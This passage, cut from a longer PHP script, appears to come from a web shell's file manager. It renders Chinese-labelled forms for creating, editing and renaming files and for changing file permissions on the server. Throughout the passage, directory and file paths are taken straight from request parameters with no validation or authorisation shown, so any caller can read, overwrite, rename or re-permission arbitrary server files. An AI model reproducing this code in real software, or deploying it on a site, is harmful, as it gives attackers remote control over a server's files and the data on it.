$filename = "{$dir}/{$editfile}";
$fp = @fopen($filename, "r");
$contents = @fread($fp, filesize($filename));
@fclose($fp);
$contents = htmlspecialchars($contents);
} else {
$editfile = $newfile;
$filename = "{$dir}/{$editfile}";
}
$action = "?dir=" . urlencode($dir) . "&editfile=" . $editfile;
$tb->tableheader();
$tb->formheader($action, '新建/编辑文件');
$tb->tdbody('当前文件: ' . $tb->makeinput('editfilename', $filename) . ' 输入新文件名则建立新文件');
$tb->tdbody($tb->maketextarea('filecontent', $contents));
$tb->makehidden('do', 'doeditfile');
$tb->formfooter('1', '30');
} elseif ($_GET['action'] == "rename") {
$nowfile = isset($_POST['newname']) ? $_POST['newname'] : basename($_GET['fname']);
$action = "?dir=" . urlencode($dir) . "&fname=" . urlencode($fname);
$tb->tableheader();
$tb->formheader($action, '修改文件名');
$tb->makehidden('oldname', $dir . "/" . $nowfile);
$tb->makehidden('dir', $dir);
$tb->tdbody('当前文件名: ' . basename($nowfile));
$tb->tdbody('改名为: ' . $tb->makeinput('newname'));
$tb->makehidden('do', 'rename');
$tb->formfooter('1', '30');
} elseif ($_GET['action'] == "fileperm") {
$action = "?dir=" . urlencode($dir) . "&file=" . $file;
$tb->tableheader();
$tb->formheader($action, '修改文件属性');